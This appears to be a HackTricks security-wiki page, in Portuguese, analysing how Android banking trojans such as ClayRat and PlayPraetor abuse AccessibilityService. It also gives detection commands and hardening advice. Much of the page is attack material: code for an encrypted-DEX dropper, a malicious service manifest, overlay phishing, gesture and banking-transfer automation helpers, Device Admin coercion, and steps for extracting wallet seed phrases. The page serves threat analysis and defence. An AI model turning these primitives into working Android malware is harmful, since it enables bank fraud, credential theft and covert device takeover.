Abuso do Accessibility Service no Android

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Visão Geral

AccessibilityService foi criado para ajudar usuários com deficiências a interagir com dispositivos Android. Infelizmente, as mesmas poderosas APIs de automação (global navigation, text input, gesture dispatch, overlay windows…) podem ser usadas por malware para obter controle remoto completo do aparelho sem privilégios de root.

Trojans bancários modernos para Android e Remote-Access-Trojans (RATs) such as PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda e muitos outros seguem a mesma receita:

  1. Social-engineer a vítima para habilitar um serviço de acessibilidade malicioso (a permissão BIND_ACCESSIBILITY_SERVICE é considerada de “alto risco” e requer uma ação explícita do usuário).
  2. Aproveitar o serviço para
  • capturar todos os eventos de UI e textos que aparecem na tela,
  • injetar gestos sintéticos (dispatchGesture) e ações globais (performGlobalAction) para automatizar qualquer tarefa desejada pelo operador,
  • desenhar overlays de tela cheia sobre apps legítimos usando o tipo de janela TYPE_ACCESSIBILITY_OVERLAY (sem prompt SYSTEM_ALERT_WINDOW!),
  • conceder silenciosamente permissões de runtime adicionais clicando nos diálogos do sistema em nome da vítima.
  1. Exfiltrar dados ou realizar On-Device-Fraud (ODF) em tempo real enquanto o usuário está olhando para uma tela perfeitamente normal.

Droppers de Accessibility empacotados

ClayRat v3.0.8 combina seu Accessibility RAT com um payload em estágios escondido em assets/. Em tempo de execução o APK host:

  1. Faz streaming do blob encriptado de assets/*.dat.
  2. Decripta-o com uma chave AES/CBC hard-coded + IV embutidos no loader Java/Kotlin.
  3. Escreve o DEX em texto claro no diretório privado do app e o carrega via DexClassLoader, expondo as classes reais do spyware apenas em memória.
byte[] blob = readAsset("payload.enc");
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec key = new SecretKeySpec(hex("A1..."), "AES");
c.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(iv));
byte[] dex = c.doFinal(blob);
DexClassLoader cl = new DexClassLoader(writeTemp(dex), getCodeCacheDir().getPath(), null, getClassLoader());
cl.loadClass("com.clayrat.Core").newInstance();

Este padrão de empacotamento (ATT&CK T1406.002) mantém o Accessibility module fora do disco até que o dropper seja executado, contornando static signature scans e o Play Protect até que o usuário já tenha concedido as dangerous permissions.


Solicitando a permissão

<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

O XML acompanhante define como o diálogo falso ficará:

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Primitivas de automação de UI remota

Esqueleto de automação de serviço de acessibilidade ```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change }

// Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } }

</details>

Com apenas essas duas APIs, um atacante pode:
* Desbloquear a tela, abrir o app do banco, navegar pela sua árvore de UI e submeter um formulário de transferência.
* Aceitar qualquer diálogo de permissão que surgir.
* Instalar/atualizar APKs adicionais via Play Store intent.

---

## Padrões de abuso

### 1. Overlay Phishing (Credential Harvesting)
Um `WebView` transparente ou opaco é adicionado ao gerenciador de janelas:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

A vítima digita credenciais no formulário falso enquanto o app em segundo plano recebe os mesmos gestos — nenhum prompt suspeito de “draw over other apps” é exibido.

Exemplo detalhado: a seção Accessibility Overlay Phishing dentro da página Tapjacking.

ClayRat expõe essa capacidade com os comandos show_block_screen / hide_block_screen que baixam templates de overlay do C2. Operadores podem alternar layouts dinamicamente para:

  • Black out o painel para que a vítima suponha que o aparelho está desligado ou travado enquanto gestos automatizados desabilitam Play Protect ou concedem mais permissões.
  • Exibir painéis falsos de system update / battery optimization que justificam por que o dispositivo está “ocupado” enquanto a automação em background continua.
  • Mostrar um interactive PIN pad overlay que espelha a tela de bloqueio do sistema — o malware captura cada dígito e transmite ao operador assim que um código de 4 dígitos é inserido.

Porque janelas TYPE_ACCESSIBILITY_OVERLAY nunca disparam o prompt de permissão SYSTEM_ALERT_WINDOW, a vítima só vê a UI de isca enquanto o RAT continua a interagir com os apps reais por baixo.

2. On-Device Fraud automation

Famílias de malware como PlayPraetor mantêm um canal WebSocket persistente onde o operador pode emitir comandos de alto nível (init, update, alert_arr, report_list, …). O serviço traduz esses comandos nos gestos de baixo nível descritos acima, alcançando transações não autorizadas em tempo real que facilmente contornam autenticação multifator (MFA) vinculada ao próprio dispositivo.

3. Screen streaming & monitoring

ClayRat melhora o truque usual do MediaProjection para uma stack de desktop remoto:

  1. turbo_screen dispara o diálogo de consentimento do MediaProjection; o Accessibility service clica “Start now” para que a vítima nunca intervenha.
  2. Com o token MediaProjection resultante, cria um VirtualDisplay apoiado por um ImageReader, mantém um ForegroundService vivo, e consome frames em threads de trabalho.
  3. Frames são codificados em JPEG/PNG segundo o parâmetro set_quality fornecido pelo operador (padrão 60 quando ausente) e enviados via um upgrade HTTP→WebSocket anunciando o user-agent customizado ClayRemoteDesktop.
  4. start_desktop / stop_desktop gerenciam as threads de captura enquanto screen_tap, screen_swipe, input_text, press_home, press_back e press_recents reproduzem gestos contra o framebuffer ao vivo.

O resultado é um feed tipo VNC entregue inteiramente por APIs sancionadas — sem root ou exploits de kernel — mas que dá ao atacante consciência situacional em tempo real com latência em milissegundos.

4. Lock-screen credential theft & auto-unlock

ClayRat subscreve eventos TYPE_WINDOW_CONTENT_CHANGED / TYPE_VIEW_TEXT_CHANGED emitidos por com.android.systemui (Keyguard). Ele reconstrói o guard em uso:

  • PIN – observa toques do teclado numérico até que o locker reporte conclusão.
  • Password – concatena strings vistas no campo de senha focado para cada AccessibilityEvent.
  • Pattern – registra os índices ordenados dos nodes inferidos a partir das coordenadas de gesto através da grade 3×3.

Segredos mais metadata (tipo de bloqueio + timestamp) são serializados em SharedPreferences sob lock_password_storage. Quando o operador envia auto_unlock, o serviço acorda o dispositivo com unlock_device / screen_on, reproduz os dígitos ou gestos armazenados via dispatchGesture, e contorna silenciosamente o keyguard para que fluxos ODF subsequentes possam continuar.

5. Notification phishing & harvesting

Um Notification Listener complementar transforma a shade numa superfície de phishing:

  • get_push_notifications despeja todas as notificações atualmente visíveis, incluindo mensagens de OTP / MFA.
  • O comando notifications alterna uma flag notifications_enabled para que cada payload futuro de onNotificationPosted() seja enviado ao C2 em tempo real.
  • send_push_notification permite que operadores criem notificações falsas e interativas que se passam por apps bancários ou de chat; qualquer texto que a vítima submeta é parseado como credenciais e exfiltrado imediatamente.

Porque Accessibility pode abrir/fechar a shade de notificações programaticamente, esse método colhe segredos sem tocar nos apps-alvo.

6. Telephony & SMS command channel

Após forçar o usuário a definir o RAT como app de SMS padrão, os comandos a seguir fornecem controle completo do modem:

  • send_sms e retransmishion enviam mensagens arbitrárias ou replayed para números controlados pelo atacante.
  • messsms itera sobre todo o banco de contatos para spam de links de phishing com propagação tipo worm.
  • make_call inicia chamadas de voz que suportam fluxos de engenharia social.
  • get_sms_list / get_sms e get_call_log / get_calls despejam inboxes e histórico de chamadas para que códigos MFA ou metadados de chamadas possam ser abusados imediatamente.

Combinado com navegação de UI dirigida por Accessibility, ClayRat pode receber um OTP via notificação/SMS e inseri-lo imediatamente dentro do app bancário ou corporativo alvo.

7. Discovery, collection & proxying

Comandos adicionais do ClayRat mapeiam o ambiente e mantêm o C2 resiliente:

  • get_apps / get_apps_list enumeram pacotes instalados (ATT&CK T1418).
  • get_device_info reporta modelo, versão do SO e estado da bateria (T1426).
  • get_cam / get_camera captura fotos com a câmera frontal, enquanto get_keylogger_data serializa PINs de bloqueio além de senhas, descrições de views e hints raspados de campos sensíveis.
  • get_proxy_data busca uma URL de proxy WebSocket, anexa o ID único do dispositivo e cria um job que tunela HTTP/HTTPS sobre o mesmo canal bidirecional (T1481.002 / T1646).

PlayPraetor – command & control workflow

  1. HTTP(S) heartbeat – itera sobre uma lista hard-coded até que um domínio responda POST /app/searchPackageName com o C2 ativo.
  2. WebSocket (port 8282) – comandos JSON bidirecionais:
  • update – push de nova conf/APKs
  • alert_arr – configurar templates de overlay
  • report_list – enviar lista de nomes de pacotes alvo
  • heartbeat_web – keep-alive
  1. RTMP (port 1935) – streaming de tela/vídeo ao vivo.
  2. REST exfiltration
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

O AccessibilityService é o motor local que transforma esses comandos na nuvem em interações físicas.


Detecting malicious accessibility services

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services – procure por apps que não são do Google Play.
  • MDM / EMM solutions podem impor ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) para bloquear serviços instalados fora da Play Store.
  • Analise serviços em execução:
adb shell dumpsys accessibility | grep "Accessibility Service"

Hardening recommendations for app developers

  • Marcar views sensíveis com android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Combinar setFilterTouchesWhenObscured(true) com FLAG_SECURE para prevenir hijacking de tap/overlay.
  • Detectar overlays consultando WindowManager.getDefaultDisplay().getFlags() ou a API ViewRootImpl.
  • Recusar operar quando Settings.canDrawOverlays() ou um Accessibility service não confiável estiver ativo.

ATS automation cheat-sheet (Accessibility-driven)

Malware pode automatizar completamente um app bancário usando somente Accessibility APIs. Primitivas genéricas:

Helper methods for ATS automation ```java // Helpers inside your AccessibilityService private List byText(String t){ AccessibilityNodeInfo r = getRootInActiveWindow(); return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); } private boolean clickText(String t){ for (AccessibilityNodeInfo n: byText(t)){ if (n.isClickable()) return n.performAction(ACTION_CLICK); AccessibilityNodeInfo p = n.getParent(); if (p != null) return p.performAction(ACTION_CLICK); } return false; } private void inputText(AccessibilityNodeInfo field, String text){ Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); field.performAction(ACTION_SET_TEXT, b); } private void tap(float x, float y){ Path p = new Path(); p.moveTo(x,y); dispatchGesture(new GestureDescription.Builder() .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); } ```

Fluxo de exemplo (tcheco → rótulos em inglês):

  • “Nová platba” (Novo pagamento) → clicar
  • “Zadat platbu” (Inserir pagamento) → clicar
  • “Nový příjemce” (Novo beneficiário) → clicar
  • “Domácí číslo účtu” (Domestic account number) → focar e ACTION_SET_TEXT
  • “Další” (Next) → clicar → … “Zaplatit” (Pay) → clicar → inserir PIN

Plano B: coordenadas codificadas estaticamente com dispatchGesture quando a busca por texto falha devido a widgets personalizados.

Também observado: pré-passos para check_limit e limit navegando na UI de limites e aumentando os limites diários antes da transferência.

Pseudo-transmissão de tela baseada em texto

Para controle remoto de baixa latência, em vez de streaming de vídeo completo, extraia uma representação textual da árvore de UI atual e envie-a repetidamente para o C2.

private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

Isto é a base para comandos como txt_screen (one-shot) e screen_live (continuous).

Primitivas de coerção do Device Admin

Uma vez que um receiver do Device Admin é ativado, essas chamadas aumentam as oportunidades de capturar credenciais e manter o controle:

DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Nota: a disponibilidade exata dessas políticas varia por versão do Android e OEM; valide o papel da política do dispositivo (admin vs owner) durante os testes.

Crypto wallet seed-phrase extraction patterns

Fluxos observados para MetaMask, Trust Wallet, Blockchain.com and Phantom:

  • Desbloquear com PIN roubado (capturado via overlay/Accessibility) ou com a senha da carteira fornecida.
  • Navegar: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Coletar a frase por meio de keylogging nos text nodes, secure-screen bypass, ou screenshot OCR quando o texto estiver oculto.
  • Suportar vários locales (EN/RU/CZ/SK) para estabilizar seletores – prefira viewIdResourceName quando disponível; caso contrário, recorra à correspondência multilíngue de texto.

NFC-relay orchestration

Módulos Accessibility/RAT podem instalar e lançar um app NFC-relay dedicado (e.g., NFSkate) como uma terceira etapa e até injetar um overlay guiando a vítima pelos passos de relay com cartão presente (card-present).

Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks